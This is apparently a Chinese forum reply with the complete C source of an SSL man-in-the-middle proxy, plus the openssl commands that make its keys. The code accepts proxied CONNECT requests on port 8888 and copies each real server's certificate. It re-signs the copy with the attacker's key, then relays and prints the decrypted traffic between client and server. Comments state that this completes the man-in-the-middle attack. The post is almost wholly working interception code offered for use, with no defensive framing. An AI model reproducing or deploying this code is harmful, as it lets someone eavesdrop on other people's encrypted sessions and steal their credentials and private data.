![]() |
#2
时光流逝2020-03-13 19:59
|
private.key和他public.key使用以下两个命令生成:
openssl genrsa -out private.pem 1024
openssl rsa -in private.pem -pubout -out public.pem

#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <sys/param.h>
//#include <linux/netfilter_ipv4.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/time.h>
#include <netdb.h>
#include <pthread.h>
#include <openssl/ssl.h>
#include <openssl/err.h>
#define LISTEN_BACKLOG 50
#define warning(msg) \
do { fprintf(stderr, "%d, ", sum); perror(msg); } while(0)
#define error(msg) \
do { fprintf(stderr, "%d, ", sum); perror(msg); exit(EXIT_FAILURE); } while (0)
int sum = 1;
typedef struct Parameter {
int client;
int server;
char *host;
int port;
EVP_PKEY *key;
} *P;
typedef struct SocketFd {
int client;
int server;
char *host;
int port;
} *MFD;
struct timeval timeout0 = { 0, 1000000 };
int socket_to_client_init(short int port) {
int sockfd;
int on = 1;
struct sockaddr_in addr;
if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
error("Fail to initial socket to client!");
if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, (char *) &on, sizeof(on)) < 0)
error("reuseaddr error!");
memset(&addr, 0, sizeof(addr));
addr.sin_addr.s_addr = htonl(INADDR_ANY);
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
if (bind(sockfd, (struct sockaddr*) &addr, sizeof(struct sockaddr)) < 0) {
shutdown(sockfd, SHUT_RDWR);
error("Fail to bind socket to client!");
}
if (listen(sockfd, LISTEN_BACKLOG) < 0) {
shutdown(sockfd, SHUT_RDWR);
error("Fail to listen socket to client!");
}
return sockfd;
}
int get_line(int sock, char *buf, int size)
{
int i = 0;
char c = '\0';
int n;
while ((i < size - 1) && (c != '\n'))
{
n = (int)recv(sock, &c, 1, 0);
/* DEBUG printf("%02X\n", c); */
if (n > 0)
{
if (c == '\r')
{
n = (int)recv(sock, &c, 1, MSG_PEEK);
/* DEBUG printf("%02X\n", c); */
if ((n > 0) && (c == '\n'))
recv(sock, &c, 1, 0);
else
c = '\n';
}
buf[i] = c;
i++;
}
else
c = '\n';
}
buf[i] = '\0';
return(i);
}
static void trim( char* line )
{
int l;
l = (int)strlen( line );
while ( line[l-1] == '\n' || line[l-1] == '\r' )
line[--l] = '\0';
}
static int open_client_socket(
int client,
char* hostname,
unsigned short port )
{
#ifdef USE_IPV6
struct addrinfo hints;
char portstr[10];
int gaierr;
struct addrinfo* ai;
struct addrinfo* ai2;
struct addrinfo* aiv4;
struct addrinfo* aiv6;
struct sockaddr_in6 sa_in;
#else /* USE_IPV6 */
struct hostent *he;
struct sockaddr_in sa_in;
#endif /* USE_IPV6 */
int sa_len, sock_family, sock_type, sock_protocol;
int sockfd;
(void) memset( (void*) &sa_in, 0, sizeof(sa_in) );
#ifdef USE_IPV6
(void) memset( &hints, 0, sizeof(hints) );
hints.ai_family = PF_UNSPEC;
hints.ai_socktype = SOCK_STREAM;
(void) snprintf( portstr, sizeof(portstr), "%d", (int) port );
if ( (gaierr = getaddrinfo( hostname, portstr, &hints, &ai )) != 0 ) {
send_error( client, 404, "Not Found", (char*) 0, "Unknown host." );
return -1;
}
/* Find the first IPv4 and IPv6 entries. */
aiv4 = (struct addrinfo*) 0;
aiv6 = (struct addrinfo*) 0;
for ( ai2 = ai; ai2 != (struct addrinfo*) 0; ai2 = ai2->ai_next )
{
switch ( ai2->ai_family )
{
case AF_INET:
if ( aiv4 == (struct addrinfo*) 0 )
aiv4 = ai2;
break;
case AF_INET6:
if ( aiv6 == (struct addrinfo*) 0 )
aiv6 = ai2;
break;
}
}
/* If there's an IPv4 address, use that, otherwise try IPv6. */
if ( aiv4 != (struct addrinfo*) 0 )
{
if ( sizeof(sa_in) < aiv4->ai_addrlen )
{
(void) fprintf(
stderr, "%s - sockaddr too small (%lu < %lu)\n",
hostname, (unsigned long) sizeof(sa_in),
(unsigned long) aiv4->ai_addrlen );
return -1;
}
sock_family = aiv4->ai_family;
sock_type = aiv4->ai_socktype;
sock_protocol = aiv4->ai_protocol;
sa_len = aiv4->ai_addrlen;
(void) memmove( &sa_in, aiv4->ai_addr, sa_len );
goto ok;
}
if ( aiv6 != (struct addrinfo*) 0 )
{
if ( sizeof(sa_in) < aiv6->ai_addrlen )
{
(void) fprintf(
stderr, "%s - sockaddr too small (%lu < %lu)\n",
hostname, (unsigned long) sizeof(sa_in),
(unsigned long) aiv6->ai_addrlen );
return -1;
}
sock_family = aiv6->ai_family;
sock_type = aiv6->ai_socktype;
sock_protocol = aiv6->ai_protocol;
sa_len = aiv6->ai_addrlen;
(void) memmove( &sa_in, aiv6->ai_addr, sa_len );
goto ok;
}
send_error( client, 404, "Not Found", (char*) 0, "Unknown host." );
return -1;
ok:
freeaddrinfo( ai );
#else /* USE_IPV6 */
he = gethostbyname( hostname );
if ( he == (struct hostent*) 0 ) {
// send_error( client, 404, "Not Found", (char*) 0, "Unknown host." );
return -1;
}
sock_family = sa_in.sin_family = he->h_addrtype;
sock_type = SOCK_STREAM;
sock_protocol = 0;
sa_len = sizeof(sa_in);
(void) memmove( &sa_in.sin_addr, he->h_addr, he->h_length );
sa_in.sin_port = htons( port );
#endif /* USE_IPV6 */
sockfd = socket( sock_family, sock_type, sock_protocol );
if ( sockfd < 0 ) {
// send_error( client, 500, "Internal Error", (char*) 0, "Couldn't create socket." );
return -1;
}
if ( connect( sockfd, (struct sockaddr*) &sa_in, sa_len ) < 0 ) {
// send_error( client, 503, "Service Unavailable", (char*) 0, "Connection refused." );
return -1;
}
printf(" to server [%s:%d]\n", inet_ntoa(sa_in.sin_addr),
ntohs(sa_in.sin_port));
return sockfd;
}
MFD get_socket_to_client(int socket) {
MFD fd = malloc(sizeof(struct SocketFd));
// fd->server = -1;
fd->client = -1;
fd->server = -1;
struct sockaddr_in client_addr;
socklen_t client_size = sizeof(struct sockaddr);
// socklen_t server_size = sizeof(struct sockaddr);
memset(&client_addr, 0, client_size);
// memset(original_server_addr, 0, server_size);
fd->client = accept(socket, (struct sockaddr *) NULL, NULL);
if (fd->client < 0) {
warning("Fail to accept socket to client!");
return fd;
}
printf("Find SSL connection from client [%s:%d]",
inet_ntoa(client_addr.sin_addr), ntohs(client_addr.sin_port));
char line[10000], method[10000], url[10000], protocol[10000], host[10000], path[10000];
get_line(fd->client, line, sizeof(line));
trim(line);
if (sscanf(line, "%[^ ] %[^ ] %[^ ]", method, url, protocol) != 3) {
return fd;
}
int iport;
if (strncasecmp(url, "http://", 7) == 0) {
if (sscanf(url, "http://%[^:/]:%d%s", host, &iport, path) == 3) {
fd->host = host;
fd->port = iport;
} else if(sscanf(url, "http://%[^/]%s", host, path) == 2) {
fd->host = host;
fd->port = 80;
} else if(sscanf(url, "http://%[^:/]:%d", host, &iport) == 2) {
fd->host = host;
fd->port = iport;
}
fd->client = -1;
} else if (strcmp(method, "CONNECT") == 0) {
if ( sscanf( url, "%[^:]:%d", host, &iport ) == 2 ) {
fd->port = (unsigned short) iport;
fd->host = host;
fd->server = open_client_socket(fd->client, fd->host, fd->port);
} else if (sscanf(url, "%s", host) == 1) {
fd->host = host;
fd->port = 443;
fd->server = open_client_socket(fd->client, fd->host, fd->port);
} else {
fd->client = -1;
}
} else {
fd->client = -1;
}
return fd;
}
void SSL_init() {
SSL_library_init();
SSL_load_error_strings();
}
void SSL_Warning(char *custom_string) {
char error_buffer[256] = { 0 };
fprintf(stderr, "%d, %s ", sum, custom_string);
ERR_error_string(ERR_get_error(), error_buffer);
fprintf(stderr, "%s\n", error_buffer);
}
void SSL_Error(char *custom_string) {
SSL_Warning(custom_string);
exit(EXIT_FAILURE);
}
SSL* SSL_to_server_init(int socket) {
SSL_CTX *ctx;
ctx = SSL_CTX_new(SSLv23_client_method());
if (ctx == NULL)
SSL_Error("Fail to init ssl ctx!");
SSL *ssl = SSL_new(ctx);
if (ssl == NULL)
SSL_Error("Create ssl error");
if (SSL_set_fd(ssl, socket) != 1)
SSL_Error("Set fd error");
return ssl;
}
SSL* SSL_to_client_init(int socket, X509 *cert, EVP_PKEY *key) {
SSL_CTX *ctx;
ctx = SSL_CTX_new(SSLv23_server_method());
if (ctx == NULL)
SSL_Error("Fail to init ssl ctx!");
if (cert && key) {
if (SSL_CTX_use_certificate(ctx, cert) != 1)
SSL_Error("Certificate error");
if (SSL_CTX_use_PrivateKey(ctx, key) != 1)
SSL_Error("key error");
if (SSL_CTX_check_private_key(ctx) != 1)
SSL_Error("Private key does not match the certificate public key");
}
// SSL_CTX_use_certificate_file(ctx, "squidCA.pem", SSL_FILETYPE_PEM);
// SSL_CTX_use_PrivateKey_file(ctx, "private.key", SSL_FILETYPE_PEM);
// SSL_CTX_check_private_key(ctx);
SSL *ssl = SSL_new(ctx);
if (ssl == NULL)
SSL_Error("Create ssl error");
if (SSL_set_fd(ssl, socket) != 1)
SSL_Error("Set fd error");
// if (SSL_get_verify_result(ssl) != X509_V_OK) {
// SSL_Error("X509证书无效!");
// }
return ssl;
}
void SSL_terminal(SSL *ssl) {
SSL_CTX *ctx = SSL_get_SSL_CTX(ssl);
SSL_shutdown(ssl);
SSL_free(ssl);
if (ctx)
SSL_CTX_free(ctx);
}
EVP_PKEY* create_key() {
EVP_PKEY *key = EVP_PKEY_new();
RSA *rsa = RSA_new();
FILE *fp;
if ((fp = fopen("private.pem", "r")) == NULL)
error("private.pem");
PEM_read_RSAPrivateKey(fp, &rsa, NULL, NULL);
if ((fp = fopen("public.pem", "r")) == NULL)
error("public.pem");
PEM_read_RSAPublicKey(fp, &rsa, NULL, NULL);
EVP_PKEY_assign_RSA(key,rsa);
return key;
}
X509* create_fake_certificate(SSL* ssl_to_server, EVP_PKEY *key) {
X509 *server_x509 = SSL_get_peer_certificate(ssl_to_server);
X509 *fake_x509 = X509_dup(server_x509);
if (server_x509 == NULL)
SSL_Error("Fail to get the certificate from server!");
X509_set_version(fake_x509, X509_get_version(server_x509));
ASN1_INTEGER *a = X509_get_serialNumber(fake_x509);
a->data[0] = a->data[0] + 1;
X509_NAME *issuer = X509_NAME_new();
X509_set_issuer_name(fake_x509, issuer);
X509_set_pubkey(fake_x509, key);
X509_sign(fake_x509, key, EVP_sha1());
return fake_x509;
}
int transfer(SSL *ssl_to_client, SSL *ssl_to_server) {
int socket_to_client = SSL_get_fd(ssl_to_client);
int socket_to_server = SSL_get_fd(ssl_to_server);
int ret;
char buffer[4096] = { 0 };
fd_set fd_read;
printf("%d, waiting for transfer\n", sum);
while (1) {
int max;
FD_ZERO(&fd_read);
FD_SET(socket_to_server, &fd_read);
FD_SET(socket_to_client, &fd_read);
max = socket_to_client > socket_to_server ? socket_to_client + 1
: socket_to_server + 1;
ret = select(max, &fd_read, NULL, NULL, &timeout0);
if (ret < 0) {
SSL_Warning("Fail to select!");
break;
} else if (ret == 0) {
continue;
}
if (FD_ISSET(socket_to_client, &fd_read)) {
memset(buffer, 0, sizeof(buffer));
ret = SSL_read(ssl_to_client, buffer, sizeof(buffer));
if (ret > 0) {
if (ret != SSL_write(ssl_to_server, buffer, ret)) {
SSL_Warning("Fail to write to server!");
break;
} else {
printf("%d, client send %d bytes to server\n", sum, ret);
printf("%s\n", buffer);
}
} else {
SSL_Warning("Fail to read from client!");
break;
}
}
if (FD_ISSET(socket_to_server, &fd_read)) {
memset(buffer, 0, sizeof(buffer));
ret = SSL_read(ssl_to_server, buffer, sizeof(buffer));
if (ret > 0) {
if (ret != SSL_write(ssl_to_client, buffer, ret)) {
SSL_Warning("Fail to write to client!");
break;
} else {
printf("%d, server send %d bytes to client\n", sum, ret);
printf("%s\n", buffer);
}
} else {
SSL_Warning("Fail to read from server!");
break;
}
}
}
return -1;
}
void doit(MFD fd, EVP_PKEY* key) {
X509 *fake_x509;
SSL *ssl_to_client, *ssl_to_server;
// // 通过获得的原始目的地址,连接真正的服务器,获得一个和服务器连接的socket
int socket_to_server = fd->server;
// 通过和服务器连接的socket建立一个和服务器的SSL连接
ssl_to_server = SSL_to_server_init(socket_to_server);
if (SSL_connect(ssl_to_server) < 0)
SSL_Error("Fail to connect server with ssl!");
// printf("%d, SSL to server\n", sum);
// 从服务器获得证书,并通过这个证书伪造一个假的证书
fake_x509 = create_fake_certificate(ssl_to_server, key);
// 使用假的证书和我们自己的密钥,和客户端建立一个SSL连接。至此,SSL中间人攻击成功
ssl_to_client = SSL_to_client_init(fd->client, fake_x509, key);
if(ssl_to_client == 0)
{
SSL_Error("SSL to client Failed!\n");
}
if (SSL_accept(ssl_to_client) <= 0)
SSL_Error("Fail to accept client with ssl!");
printf("%d, SSL to client\n", sum);
// 在服务器SSL连接和客户端SSL连接之间转移数据,并输出服务器和客户端之间通信的数据
if (transfer(ssl_to_client, ssl_to_server) < 0) {
printf("%d, connection shutdown\n", sum);
SSL_terminal(ssl_to_client);
SSL_terminal(ssl_to_server);
shutdown(socket_to_server, SHUT_RDWR);
shutdown(fd->client, SHUT_RDWR);
X509_free(fake_x509);
}
}
int main(int argc, char *argv[]) {
// 初始化一个socket,将该socket绑定到8888端口,并监听
int socket = socket_to_client_init(8888);
// 从文件读取伪造SSL证书时需要的RAS私钥和公钥
EVP_PKEY* key = create_key();
// 初始化openssl库
SSL_init();
// pthread_t nthread;
// P par = (P)malloc(sizeof(struct Parameter));
// par->key = key;
while (1) {
// 从监听的端口获得一个客户端的连接,并将该连接的原始目的地址存储到original_server_addr中
MFD fd = get_socket_to_client(socket);
if (fd->client < 0 || fd->server < 0)
continue;
// par->client = fd->client;
// par->host = fd->host;
// par->port = fd->port;
// if (pthread_create(&nthread, NULL, (void *)doit, par)) {
// continue;
// }
if (!fork()) {
doit(fd, key);
}
}
// EVP_PKEY_free(key);
return 0;
}